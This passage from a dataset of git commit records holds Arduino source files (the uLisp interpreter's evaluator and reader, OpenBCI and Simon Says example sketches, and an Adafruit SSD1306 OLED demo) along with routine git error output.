builtin (char* n) {\n int entry = 0;\n while (entry < ENDFUNCTIONS) {\n if (strcmp_P(n, (char*)pgm_read_word(&lookup_table[entry].string)) == 0)\n return entry;\n entry++;\n }\n return ENDFUNCTIONS;\n}\n\nint longsymbol (char *buffer) {\n char *p = SymbolTable;\n int i = 0;\n while (strcmp(p, buffer) != 0) {p = p + strlen(p) + 1; i++; }\n if (p == buffer) {\n \/\/ Add to symbol table?\n char *newtop = SymbolTop + strlen(p) + 1;\n if (SYMBOLTABLESIZE - (newtop - SymbolTable) < BUFFERSIZE) error(PSTR(\"No room for long symbols\"));\n SymbolTop = newtop;\n }\n if (i > 1535) error(PSTR(\"Too many long symbols\"));\n return i + 64000; \/\/ First number unused by radix40\n}\n\nintptr_t lookupfn (symbol_t name) {\n return pgm_read_word(&lookup_table[name].fptr);\n}\n\nuint8_t lookupmin (symbol_t name) {\n return pgm_read_byte(&lookup_table[name].min);\n}\n\nuint8_t lookupmax (symbol_t name) {\n return pgm_read_byte(&lookup_table[name].max);\n}\n\nchar *lookupbuiltin (symbol_t name) {\n char *buffer = SymbolTop;\n strcpy_P(buffer, (char *)(pgm_read_word(&lookup_table[name].string)));\n return buffer;\n}\n\nchar *lookupsymbol (symbol_t name) {\n char *p = SymbolTable;\n int i = name - 64000;\n while (i > 0 && p < SymbolTop) {p = p + strlen(p) + 1; i--; }\n if (p == SymbolTop) return NULL; else return p;\n}\n\nvoid deletesymbol (symbol_t name) {\n char *p = lookupsymbol(name);\n if (p == NULL) return;\n char *q = p + strlen(p) + 1;\n *p = '\\0'; p++;\n while (q < SymbolTop) *(p++) = *(q++);\n SymbolTop = p;\n}\n\nvoid testescape () {\n if (Serial.read() == '~') error(PSTR(\"Escape!\"));\n}\n\n\/\/ Main evaluator\n\nuint8_t End;\n\nobject *eval (object *form, object *env) {\n int TC=0;\n EVAL:\n \/\/ Enough space?\n if (End != 0xA5) error(PSTR(\"Stack overflow\"));\n if (Freespace < 20) gc(form, env);\n \/\/ Escape\n if (tstflag(ESCAPE)) { clrflag(ESCAPE); error(PSTR(\"Escape!\"));}\n #if defined (serialmonitor)\n testescape();\n #endif \n \n if (form == NULL) return nil;\n\n if (integerp(form) || characterp(form) || stringp(form)) return form;\n\n if (symbolp(form)) {\n symbol_t name = form->name;\n if (name == NIL) return nil;\n object *pair = value(name, env);\n if (pair != NULL) return cdr(pair);\n pair = value(name, GlobalEnv);\n if (pair != NULL) return cdr(pair);\n else if (name <= ENDFUNCTIONS) return form;\n error2(form, PSTR(\"undefined\"));\n }\n \n \/\/ It's a list\n object *function = car(form);\n object *args = cdr(form);\n if (!listp(args)) error(PSTR(\"Can't evaluate a dotted pair\"));\n\n \/\/ List starts with a symbol?\n if (symbolp(function)) {\n symbol_t name = function->name;\n\n if ((name == LET) || (name == LETSTAR)) {\n int TCstart = TC;\n object *assigns = first(args);\n object *forms = cdr(args);\n object *newenv = env;\n push(newenv, GCStack);\n while (assigns != NULL) {\n object *assign = car(assigns);\n if (!consp(assign)) push(cons(assign,nil), newenv);\n else if (cdr(assign) == NULL) push(cons(first(assign),nil), newenv);\n else push(cons(first(assign),eval(second(assign),env)), newenv);\n car(GCStack) = newenv;\n if (name == LETSTAR) env = newenv;\n assigns = cdr(assigns);\n }\n env = newenv;\n pop(GCStack);\n form = tf_progn(forms,env);\n TC = TCstart;\n goto EVAL;\n }\n\n if (name == LAMBDA) {\n if (env == NULL) return form;\n object *envcopy = NULL;\n while (env != NULL) {\n object *pair = first(env);\n if (pair != NULL) {\n object *val = cdr(pair);\n if (integerp(val)) val = number(val->integer);\n push(cons(car(pair), val), envcopy);\n }\n env = cdr(env);\n }\n return cons(symbol(CLOSURE), cons(envcopy,args));\n }\n \n if ((name > SPECIAL_FORMS) && (name < TAIL_FORMS)) {\n return ((fn_ptr_type)lookupfn(name))(args, env);\n }\n\n if ((name > TAIL_FORMS) && (name < FUNCTIONS)) {\n form = ((fn_ptr_type)lookupfn(name))(args, env);\n TC = 1;\n goto EVAL;\n }\n }\n \n \/\/ Evaluate the parameters - result in head\n object *fname = car(form);\n int TCstart = TC;\n object *head = cons(eval(car(form), env), NULL);\n push(head, GCStack); \/\/ Don't GC the result list\n object *tail = head;\n form = cdr(form);\n int nargs = 0;\n\n while (form != NULL){\n object *obj = cons(eval(car(form),env),NULL);\n cdr(tail) = obj;\n tail = obj;\n form = cdr(form);\n nargs++;\n }\n \n function = car(head);\n args = cdr(head);\n \n if (symbolp(function)) {\n symbol_t name = function->name;\n if (name >= ENDFUNCTIONS) error2(fname, PSTR(\"is not valid here\"));\n if (nargs<lookupmin(name)) error2(fname, PSTR(\"has too few arguments\"));\n if (nargs>lookupmax(name)) error2(fname, PSTR(\"has too many arguments\"));\n object *result = ((fn_ptr_type)lookupfn(name))(args, env);\n pop(GCStack);\n return result;\n }\n \n if (listp(function) && issymbol(car(function), LAMBDA)) {\n form = closure(TCstart, fname, NULL, cdr(function), args, &env);\n pop(GCStack);\n int trace = tracing(fname->name);\n if (trace) {\n object *result = eval(form, env);\n indent((--(TraceDepth[trace-1]))<<1, pserial);\n pint(TraceDepth[trace-1], pserial);\n pserial(':'); pserial(' ');\n printobject(fname, pserial); pfstring(PSTR(\" returned \"), pserial);\n printobject(result, pserial); pln(pserial);\n return result;\n } else {\n TC = 1;\n goto EVAL;\n }\n }\n\n if (listp(function) && issymbol(car(function), CLOSURE)) {\n function = cdr(function);\n form = closure(TCstart, fname, car(function), cdr(function), args, &env);\n pop(GCStack);\n TC = 1;\n goto EVAL;\n } \n \n error2(fname, PSTR(\"is an illegal function\")); return nil;\n}\n\n\/\/ Print functions\n\ninline int maxbuffer (char *buffer) {\n return SYMBOLTABLESIZE-(buffer-SymbolTable)-1;\n}\n\nvoid pserial (char c) {\n LastPrint = c;\n if (c == '\\n') Serial.write('\\r');\n Serial.write(c);\n}\n\nconst char ControlCodes[] PROGMEM = \"Null\\0SOH\\0STX\\0ETX\\0EOT\\0ENQ\\0ACK\\0Bell\\0Backspace\\0Tab\\0Newline\\0VT\\0\"\n\"Page\\0Return\\0SO\\0SI\\0DLE\\0DC1\\0DC2\\0DC3\\0DC4\\0NAK\\0SYN\\0ETB\\0CAN\\0EM\\0SUB\\0Escape\\0FS\\0GS\\0RS\\0US\\0Space\\0\";\n\nvoid pcharacter (char c, pfun_t pfun) {\n if (!PrintReadably) pfun(c);\n else {\n pfun('#'); pfun('\\\\');\n if (c > 32) pfun(c);\n else {\n PGM_P p = ControlCodes;\n while (c > 0) {p = p + strlen_P(p) + 1; c--; }\n pfstring(p, pfun);\n }\n }\n}\n\nvoid pstring (char *s, pfun_t pfun) {\n while (*s) pfun(*s++);\n}\n\nvoid printstring (object *form, pfun_t pfun) {\n if (PrintReadably) pfun('\"');\n form = cdr(form);\n while (form != NULL) {\n int chars = form->integer;\n for (int i=(sizeof(int)-1)*8; i>=0; i=i-8) {\n char ch = chars>>i & 0xFF;\n if (PrintReadably && (ch == '\"' || ch == '\\\\')) pfun('\\\\');\n if (ch) pfun(ch);\n }\n form = car(form);\n }\n if (PrintReadably) pfun('\"');\n}\n\nvoid pfstring (PGM_P s, pfun_t pfun) {\n intptr_t p = (intptr_t)s;\n while (1) {\n char c = pgm_read_byte(p++);\n if (c == 0) return;\n pfun(c);\n }\n}\n\nvoid pint (int i, pfun_t pfun) {\n int lead = 0;\n #if INT_MAX == 32767\n int p = 10000;\n #else\n int p = 1000000000;\n #endif\n if (i<0) pfun('-');\n for (int d=p; d>0; d=d\/10) {\n int j = i\/d;\n if (j!=0 || lead || d==1) { pfun(abs(j)+'0'); lead=1;}\n i = i - j*d;\n }\n}\n\ninline void pln (pfun_t pfun) {\n pfun('\\n');\n}\n\nvoid pfl (pfun_t pfun) {\n if (LastPrint != '\\n') pfun('\\n');\n}\n\nvoid printobject (object *form, pfun_t pfun){\n if (form == NULL) pfstring(PSTR(\"nil\"), pfun);\n else if (listp(form) && issymbol(car(form), CLOSURE)) pfstring(PSTR(\"<closure>\"), pfun);\n else if (listp(form)) {\n pfun('(');\n printobject(car(form), pfun);\n form = cdr(form);\n while (form != NULL && listp(form)) {\n pfun(' ');\n printobject(car(form), pfun);\n form = cdr(form);\n }\n if (form != NULL) {\n pfstring(PSTR(\" . \"), pfun);\n printobject(form, pfun);\n }\n pfun(')');\n } else if (integerp(form)) {\n pint(integer(form), pfun);\n } else if (symbolp(form)) {\n if (form->name != NOTHING) pstring(name(form), pfun);\n } else if (characterp(form)) {\n pcharacter(form->integer, pfun);\n } else if (stringp(form)) {\n printstring(form, pfun);\n } else if (streamp(form)) {\n pfstring(PSTR(\"<\"), pfun);\n if ((form->integer)>>8 == SPISTREAM) pfstring(PSTR(\"spi\"), pfun);\n else if ((form->integer)>>8 == I2CSTREAM) pfstring(PSTR(\"i2c\"), pfun);\n else if ((form->integer)>>8 == SDSTREAM) pfstring(PSTR(\"sd\"), pfun);\n else pfstring(PSTR(\"serial\"), pfun);\n pfstring(PSTR(\"-stream \"), pfun);\n pint(form->integer & 0xFF, pfun);\n pfun('>');\n } else\n error(PSTR(\"Error in print.\"));\n}\n\n\/\/ Read functions\n\n#if defined(lisplibrary)\nint glibrary () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n char c = pgm_read_byte(&LispLibrary[GlobalStringIndex++]);\n return (c != 0) ? c : -1; \/\/ -1?\n}\n\nvoid loadfromlibrary (object *env) { \n GlobalStringIndex = 0;\n object *line = read(glibrary);\n while (line != NULL) {\n eval(line, env);\n line = read(glibrary);\n }\n}\n#endif\n\nint gserial () {\n if (LastChar) { \n char temp = LastChar;\n LastChar = 0;\n return temp;\n }\n while (!Serial.available());\n char temp = Serial.read();\n if (temp != '\\n') pserial(temp);\n return temp;\n}\n\nobject *nextitem (gfun_t gfun) {\n int ch = gfun();\n while(isspace(ch)) ch = gfun();\n\n if (ch == ';') {\n while(ch != '(') ch = gfun();\n ch = '(';\n }\n if (ch == '\\n') ch = gfun();\n if (ch == -1) return nil;\n if (ch == ')') return (object *)KET;\n if (ch == '(') return (object *)BRA;\n if (ch == '\\'') return (object *)QUO;\n if (ch == '.') return (object *)DOT;\n\n \/\/ Parse string\n if (ch == '\"') return readstring('\"', gfun);\n \n \/\/ Parse symbol, character, or number\n int index = 0, base = 10, sign = 1;\n char *buffer = SymbolTop;\n int bufmax = maxbuffer(buffer); \/\/ Max index\n unsigned int result = 0;\n if (ch == '+') {\n buffer[index++] = ch;\n ch = gfun();\n } else if (ch == '-') {\n sign = -1;\n buffer[index++] = ch;\n ch = gfun();\n } else if (ch == '#') {\n ch = gfun() & ~0x20;\n if (ch == '\\\\') base = 0; \/\/ character\n else if (ch == 'B') base = 2;\n else if (ch == 'O') base = 8;\n else if (ch == 'X') base = 16;\n else if (ch == 0x07); \/\/ Ignore '\n else error(PSTR(\"Illegal character after #\"));\n ch = gfun();\n }\n int isnumber = (digitvalue(ch)<base);\n buffer[2] = '\\0'; \/\/ In case symbol is one letter\n\n while(!isspace(ch) && ch != ')' && ch != '(' && index < bufmax) {\n buffer[index++] = ch;\n int temp = digitvalue(ch);\n result = result * base + temp;\n isnumber = isnumber && (digitvalue(ch)<base);\n ch = gfun();\n }\n\n buffer[index] = '\\0';\n if (ch == ')' || ch == '(') LastChar = ch;\n\n if (isnumber) {\n if (base == 10 && result > ((unsigned int)INT_MAX+(1-sign)\/2)) \n error(PSTR(\"Number out of range\"));\n return number(result*sign);\n } else if (base == 0) {\n if (index == 1) return character(buffer[0]);\n PGM_P p = ControlCodes; char c = 0;\n while (c < 33) {\n if (strcasecmp_P(buffer, p) == 0) return character(c);\n p = p + strlen_P(p) + 1; c++;\n }\n error(PSTR(\"Unknown character\"));\n }\n \n int x = builtin(buffer);\n if (x == NIL) return nil;\n if (x < ENDFUNCTIONS) return newsymbol(x);\n else if (index < 4 && valid40(buffer)) return newsymbol(pack40(buffer));\n else return newsymbol(longsymbol(buffer));\n}\n\nobject *readrest (gfun_t gfun) {\n object *item = nextitem(gfun);\n object *head = NULL;\n object *tail = NULL;\n\n while (item != (object *)KET) {\n if (item == (object *)BRA) {\n item = readrest(gfun);\n } else if (item == (object *)QUO) {\n item = cons(symbol(QUOTE), cons(read(gfun), NULL));\n } else if (item == (object *)DOT) {\n tail->cdr = read(gfun);\n if (readrest(gfun) != NULL) error(PSTR(\"Malformed list\"));\n return head;\n } else {\n object *cell = cons(item, NULL);\n if (head == NULL) head = cell;\n else tail->cdr = cell;\n tail = cell;\n item = nextitem(gfun);\n }\n }\n return head;\n}\n\nobject *read (gfun_t gfun) {\n object *item = nextitem(gfun);\n if (item == (object *)KET) error(PSTR(\"Incomplete list\"));\n if (item == (object *)BRA) return readrest(gfun);\n if (item == (object *)DOT) return read(gfun);\n if (item == (object *)QUO) return cons(symbol(QUOTE), cons(read(gfun), NULL)); \n return item;\n}\n\n\/\/ Setup\n\nvoid initenv () {\n GlobalEnv = NULL;\n tee = symbol(TEE);\n}\n\nvoid setup () {\n Serial.begin(9600);\n while (!Serial);\n initworkspace();\n initenv();\n initsleep();\n pfstring(PSTR(\"uLisp 2.4 \"), pserial); pln(pserial);\n}\n\n\/\/ Read\/Evaluate\/Print loop\n\nvoid repl (object *env) {\n for (;;) {\n randomSeed(micros());\n gc(NULL, env);\n #if defined (printfreespace)\n pint(Freespace, pserial);\n #endif\n if (BreakLevel) {\n pfstring(PSTR(\" : \"), pserial);\n pint(BreakLevel, pserial);\n }\n pfstring(PSTR(\"> \"), pserial);\n object *line = read(gserial);\n if (BreakLevel && line == nil) { pln(pserial); return; }\n if (line == (object *)KET) error(PSTR(\"Unmatched right bracket\"));\n push(line, GCStack);\n pfl(pserial);\n line = eval(line, env);\n pfl(pserial);\n printobject(line, pserial);\n pop(GCStack);\n pfl(pserial);\n pln(pserial);\n }\n}\n\nvoid loop () {\n End = 0xA5; \/\/ Canary to check stack\n if (!setjmp(exception)) {\n #if defined(resetautorun)\n volatile int autorun = 12; \/\/ Fudge to keep code size the same\n #else\n volatile int autorun = 13;\n #endif\n if (autorun == 12) autorunimage();\n }\n \/\/ Come here after error\n for (int i=0; i<TRACEMAX; i++) TraceDepth[i] = 0;\n #if defined(sdcardsupport)\n SDpfile.close(); SDgfile.close();\n #endif\n #if defined(lisplibrary)\n loadfromlibrary(NULL);\n #endif\n repl(NULL);\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'uLisp.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"e430fd663a200b6d2035abe3effde1198e1e8d8a","subject":"Initial commit","message":"Initial commit\n\nStarting Pulse Sensor Merge\n","repos":"OpenBCI\/OpenBCI_32bit_Libraries,OpenBCI\/OpenBCI_32bit_Libraries","old_file":"examples\/BoardWithPulseSensor\/BoardWithPulseSensor\/BoardWithPulseSensor.ino","new_file":"examples\/BoardWithPulseSensor\/BoardWithPulseSensor\/BoardWithPulseSensor.ino","new_contents":"#include <DSPI.h>\n#include <OpenBCI_32bit_Library.h>\n#include <OpenBCI_32Bit_Library_Definitions.h>\n\nvoid setup() {\n \/\/ Bring up the OpenBCI Board\n board.begin();\n\n \/\/ Notify the board we want to use aux data, this effects `::sendChannelData()`\n board.useAux = true;\n}\n\nvoid loop() {\n\n \/\/ The main dependency of this single threaded microcontroller is to\n \/\/ stream data from the ADS.\n if (board.streaming) {\n \/\/ Wait for the ADS to signal it's ready with new data\n while (board.waitForNewChannelData()) {}\n\n \/\/ Read from the ADS(s) and store data into\n board.updateChannelData();\n\n \/\/ Read from the analog sensor and store auxilary position 0\n \/\/ take a reading from the ADC. Result range from 0 to 1023\n board.auxData[0] = analogRead(A7);\n\n \/\/ Send standard packet with channel data and accel data\n \/\/ includes aux data because we set told the board to add it\n board.sendChannelData();\n }\n\n \/\/ Check the serial port for new data\n if (board.isSerialAvailableForRead()) {\n \/\/ Read one char and process it\n board.processChar(board.readOneSerialChar());\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'examples\/BoardWithPulseSensor\/BoardWithPulseSensor\/BoardWithPulseSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"0cd5e836ee81383d3b4ba27c600fe395aa27d939","subject":"Created shell, added function to get button presses.","message":"Created shell, added function to get button presses.\n","repos":"davidtimmons\/simon-says-circuit","old_file":"simon_says\/simon_says.ino","new_file":"simon_says\/simon_says.ino","new_contents":"\/**\n * An Arduino circuit design and program that simulates the game \"Simon Says\".\n *\n * Author: David Timmons ( http:\/\/david.timmons.io )\n * License: MIT\n *\/\n\n\/\/ Turn debug mode on or off.\nconst boolean DEBUG = true;\n\n\/\/ Define LED pin positions.\nconst int RED_1 = 13;\nconst int RED_2 = 12;\nconst int RED_3 = 11;\nconst int SIMON_1 = 5;\nconst int SIMON_2 = 4;\nconst int SIMON_3 = 3;\nconst int SIMON_4 = 2;\n\n\/\/ Define switch pin positions.\nconst int TILT = 10;\nconst int BUTTONS = A1;\n\n\n\/**\n * Initialize the Arduino.\n *\/\nvoid setup() {\n \/\/ Print debug results to the serial monitor.\n if (DEBUG) Serial.begin(9600);\n}\n\n\n\/**\n * Control the Arduino.\n *\/\nvoid loop() {\n \/\/ Check if a button switch was pressed.\n int simonLed = getSimonLed(analogRead(BUTTONS));\n if (DEBUG) {\n Serial.print(\"Button <Analog, Result>: \");\n Serial.print(analogRead(BUTTONS));\n Serial.print(\", \");\n Serial.println(simonLed);\n }\n}\n\n\n\/**\n * Return the LED associated with the active button switch.\n *\/\nint getSimonLed(int keyVal) {\n\n \/\/ Get the LED.\n if (3 <= keyVal && keyVal <= 50) {\n return SIMON_4;\n } else if (500 <= keyVal && keyVal <= 550) {\n return SIMON_3;\n } else if (1000 <= keyVal && keyVal <= 1010) {\n return SIMON_2;\n } else if (keyVal >= 1020) {\n return SIMON_1;\n }\n\n \/\/ The switch is not active.\n return -1;\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'simon_says\/simon_says.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"ffbcfa781f52519cf25f76cd7d467750164975e1","subject":"eeprom_clear example: Set pinMode of LED pin","message":"eeprom_clear example: Set pinMode of LED pin","repos":"PaoloP74\/Arduino,vbextreme\/Arduino,me-no-dev\/Arduino-1,NicoHood\/Arduino,stevemayhew\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,stickbreaker\/Arduino,tbowmo\/Arduino,nandojve\/Arduino,NicoHood\/Arduino,NicoHood\/Arduino,vbextreme\/Arduino,NicoHood\/Arduino,bsmr-arduino\/Arduino,stevemayhew\/Arduino,niggor\/Arduino_cc,PaoloP74\/Arduino,majenkotech\/Arduino,byran\/Arduino,niggor\/Arduino_cc,majenkotech\/Arduino,stickbreaker\/Arduino,nandojve\/Arduino,vbextreme\/Arduino,Chris--A\/Arduino,vbextreme\/Arduino,NicoHood\/Arduino,bsmr-arduino\/Arduino,PaoloP74\/Arduino,Chris--A\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,stickbreaker\/Arduino,niggor\/Arduino_cc,byran\/Arduino,me-no-dev\/Arduino-1,majenkotech\/Arduino,byran\/Arduino,vbextreme\/Arduino,Chris--A\/Arduino,nandojve\/Arduino,me-no-dev\/Arduino-1,NicoHood\/Arduino,byran\/Arduino,vbextreme\/Arduino,nandojve\/Arduino,Chris--A\/Arduino,niggor\/Arduino_cc,Chris--A\/Arduino,me-no-dev\/Arduino-1,PaoloP74\/Arduino,tbowmo\/Arduino,bsmr-arduino\/Arduino,tbowmo\/Arduino,vbextreme\/Arduino,niggor\/Arduino_cc,NicoHood\/Arduino,tbowmo\/Arduino,majenkotech\/Arduino,tbowmo\/Arduino,PaoloP74\/Arduino,stevemayhew\/Arduino,byran\/Arduino,Chris--A\/Arduino,me-no-dev\/Arduino-1,tbowmo\/Arduino,PaoloP74\/Arduino,byran\/Arduino,stevemayhew\/Arduino,byran\/Arduino,niggor\/Arduino_cc,majenkotech\/Arduino,stevemayhew\/Arduino,majenkotech\/Arduino,bsmr-arduino\/Arduino,stevemayhew\/Arduino,tbowmo\/Arduino,me-no-dev\/Arduino-1,stevemayhew\/Arduino,nandojve\/Arduino,niggor\/Arduino_cc,NicoHood\/Arduino,stickbreaker\/Arduino,PaoloP74\/Arduino,bsmr-arduino\/Arduino,vbextreme\/Arduino,bsmr-arduino\/Arduino,stickbreaker\/Arduino,Chris--A\/Arduino,bsmr-arduino\/Arduino,nandojve\/Arduino,stevemayhew\/Arduino,niggor\/Arduino_cc,me-no-dev\/Arduino-1,nandojve\/Arduino,PaoloP74\/Arduino,stickbreaker\/Arduino,me-no-dev\/Arduino-1,byran\/Arduino,Chris--A\/Arduino,tbowmo\/Arduino,niggor\/Arduino_cc","old_file":"hardware\/arduino\/avr\/libraries\/EEPROM\/examples\/eeprom_clear\/eeprom_clear.ino","new_file":"hardware\/arduino\/avr\/libraries\/EEPROM\/examples\/eeprom_clear\/eeprom_clear.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/bsmr-arduino\/Arduino.git\/'\n","license":"lgpl-2.1","lang":"Arduino"} {"commit":"0c8823cbf65a2cd0109c8c199333d8b81e387594","subject":"Added digitalWriteFast example.(#90)","message":"Added digitalWriteFast example.(#90)","repos":"ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR,ROBOTIS-GIT\/OpenCR","old_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/01. Basics\/f_Gpio_Write_Speed_Test\/f_Gpio_Write_Speed_Test.ino","new_file":"arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/01. Basics\/f_Gpio_Write_Speed_Test\/f_Gpio_Write_Speed_Test.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/opencr_arduino\/opencr\/libraries\/OpenCR\/examples\/01.' did not match any file(s) known to git\nerror: pathspec 'Basics\/f_Gpio_Write_Speed_Test\/f_Gpio_Write_Speed_Test.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"ccd7f465c740f153b351dcc61bbf6a4d31631e67","subject":"adding QRS","message":"adding QRS\n","repos":"willtmwu\/cExamples,willtmwu\/cExamples","old_file":"Embedded\/Arduino\/QRS_V1.ino","new_file":"Embedded\/Arduino\/QRS_V1.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/willtmwu\/cExamples.git\/'\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5234bd22b979af0d68107f1efe4de4a9d1c9875b","subject":"Create ssd1306_128x64_i2c.ino","message":"Create ssd1306_128x64_i2c.ino","repos":"stephanjroux\/Adafruit_SSD1306,niklashagemann\/Adafruit_SSD1306","old_file":"ssd1306_128x64_i2c.ino","new_file":"ssd1306_128x64_i2c.ino","new_contents":"\/*********************************************************************\nThis is an example for our Monochrome OLEDs based on SSD1306 drivers\n\n Pick one up today in the adafruit shop!\n ------> http:\/\/www.adafruit.com\/category\/63_98\n\nThis example is for a 128x64 size display using I2C to communicate\n3 pins are required to interface (2 I2C and one reset)\n\nAdafruit invests time and resources providing this open source code, \nplease support Adafruit and open-source hardware by purchasing \nproducts from Adafruit!\n\nWritten by Limor Fried\/Ladyada for Adafruit Industries. \nBSD license, check license.txt for more information\nAll text above, and the splash screen must be included in any redistribution\n*********************************************************************\/\n\n#include \"Adafruit_GFX.h\"\n#include \"Adafruit_SSD1306.h\"\n\n#define OLED_RESET D4\nAdafruit_SSD1306 display(OLED_RESET);\n\n#define NUMFLAKES 10\n#define XPOS 0\n#define YPOS 1\n#define DELTAY 2\n\n\n#define LOGO16_GLCD_HEIGHT 16 \n#define LOGO16_GLCD_WIDTH 16 \nstatic const unsigned char logo16_glcd_bmp[] =\n{ B00000000, B11000000,\n B00000001, B11000000,\n B00000001, B11000000,\n B00000011, B11100000,\n B11110011, B11100000,\n B11111110, B11111000,\n B01111110, B11111111,\n B00110011, B10011111,\n B00011111, B11111100,\n B00001101, B01110000,\n B00011011, B10100000,\n B00111111, B11100000,\n B00111111, B11110000,\n B01111100, B11110000,\n B01110000, B01110000,\n B00000000, B00110000 };\n\n#if (SSD1306_LCDHEIGHT != 64)\n#error(\"Height incorrect, please fix Adafruit_SSD1306.h!\");\n#endif\n\nvoid setup() { \n Serial.begin(9600);\n\n \/\/ by default, we'll generate the high voltage from the 3.3v line internally! (neat!)\n display.begin(SSD1306_SWITCHCAPVCC, 0x3D); \/\/ initialize with the I2C addr 0x3D (for the 128x64)\n \/\/ init done\n \n display.display(); \/\/ show splashscreen\n delay(2000);\n display.clearDisplay(); \/\/ clears the screen and buffer\n\n \/\/ draw a single pixel\n display.drawPixel(10, 10, WHITE);\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw many lines\n testdrawline();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw rectangles\n testdrawrect();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw multiple rectangles\n testfillrect();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw mulitple circles\n testdrawcircle();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw a white circle, 10 pixel radius\n display.fillCircle(display.width()\/2, display.height()\/2, 10, WHITE);\n display.display();\n delay(2000);\n display.clearDisplay();\n\n testdrawroundrect();\n delay(2000);\n display.clearDisplay();\n\n testfillroundrect();\n delay(2000);\n display.clearDisplay();\n\n testdrawtriangle();\n delay(2000);\n display.clearDisplay();\n \n testfilltriangle();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw the first ~12 characters in the font\n testdrawchar();\n display.display();\n delay(2000);\n display.clearDisplay();\n\n \/\/ draw scrolling text\n testscrolltext();\n delay(2000);\n display.clearDisplay();\n\n \/\/ text display tests\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n display.println(\"Hello, world!\");\n display.setTextColor(BLACK, WHITE); \/\/ 'inverted' text\n display.println(3.141592);\n display.setTextSize(2);\n display.setTextColor(WHITE);\n display.print(\"0x\"); display.println(0xDEADBEEF, HEX);\n display.display();\n delay(2000);\n\n \/\/ miniature bitmap display\n display.clearDisplay();\n display.drawBitmap(30, 16, logo16_glcd_bmp, 16, 16, 1);\n display.display();\n\n \/\/ invert the display\n display.invertDisplay(true);\n delay(1000); \n display.invertDisplay(false);\n delay(1000); \n\n \/\/ draw a bitmap icon and 'animate' movement\n testdrawbitmap(logo16_glcd_bmp, LOGO16_GLCD_HEIGHT, LOGO16_GLCD_WIDTH);\n}\n\n\nvoid loop() {\n \n}\n\n\nvoid testdrawbitmap(const uint8_t *bitmap, uint8_t w, uint8_t h) {\n uint8_t icons[NUMFLAKES][3];\n \n \/\/ initialize\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n icons[f][XPOS] = random(display.width());\n icons[f][YPOS] = 0;\n icons[f][DELTAY] = random(5) + 1;\n \n Serial.print(\"x: \");\n Serial.print(icons[f][XPOS], DEC);\n Serial.print(\" y: \");\n Serial.print(icons[f][YPOS], DEC);\n Serial.print(\" dy: \");\n Serial.println(icons[f][DELTAY], DEC);\n }\n\n while (1) {\n \/\/ draw each icon\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, WHITE);\n }\n display.display();\n delay(200);\n \n \/\/ then erase it + move it\n for (uint8_t f=0; f< NUMFLAKES; f++) {\n display.drawBitmap(icons[f][XPOS], icons[f][YPOS], logo16_glcd_bmp, w, h, BLACK);\n \/\/ move it\n icons[f][YPOS] += icons[f][DELTAY];\n \/\/ if its gone, reinit\n if (icons[f][YPOS] > display.height()) {\n\ticons[f][XPOS] = random(display.width());\n\ticons[f][YPOS] = 0;\n\ticons[f][DELTAY] = random(5) + 1;\n }\n }\n }\n}\n\n\nvoid testdrawchar(void) {\n display.setTextSize(1);\n display.setTextColor(WHITE);\n display.setCursor(0,0);\n\n for (uint8_t i=0; i < 168; i++) {\n if (i == '\\n') continue;\n display.write(i);\n if ((i > 0) && (i % 21 == 0))\n display.println();\n } \n display.display();\n}\n\nvoid testdrawcircle(void) {\n for (int16_t i=0; i<display.height(); i+=2) {\n display.drawCircle(display.width()\/2, display.height()\/2, i, WHITE);\n display.display();\n }\n}\n\nvoid testfillrect(void) {\n uint8_t color = 1;\n for (int16_t i=0; i<display.height()\/2; i+=3) {\n \/\/ alternate colors\n display.fillRect(i, i, display.width()-i*2, display.height()-i*2, color%2);\n display.display();\n color++;\n }\n}\n\nvoid testdrawtriangle(void) {\n for (int16_t i=0; i<min(display.width(),display.height())\/2; i+=5) {\n display.drawTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, WHITE);\n display.display();\n }\n}\n\nvoid testfilltriangle(void) {\n uint8_t color = WHITE;\n for (int16_t i=min(display.width(),display.height())\/2; i>0; i-=5) {\n display.fillTriangle(display.width()\/2, display.height()\/2-i,\n display.width()\/2-i, display.height()\/2+i,\n display.width()\/2+i, display.height()\/2+i, WHITE);\n if (color == WHITE) color = BLACK;\n else color = WHITE;\n display.display();\n }\n}\n\nvoid testdrawroundrect(void) {\n for (int16_t 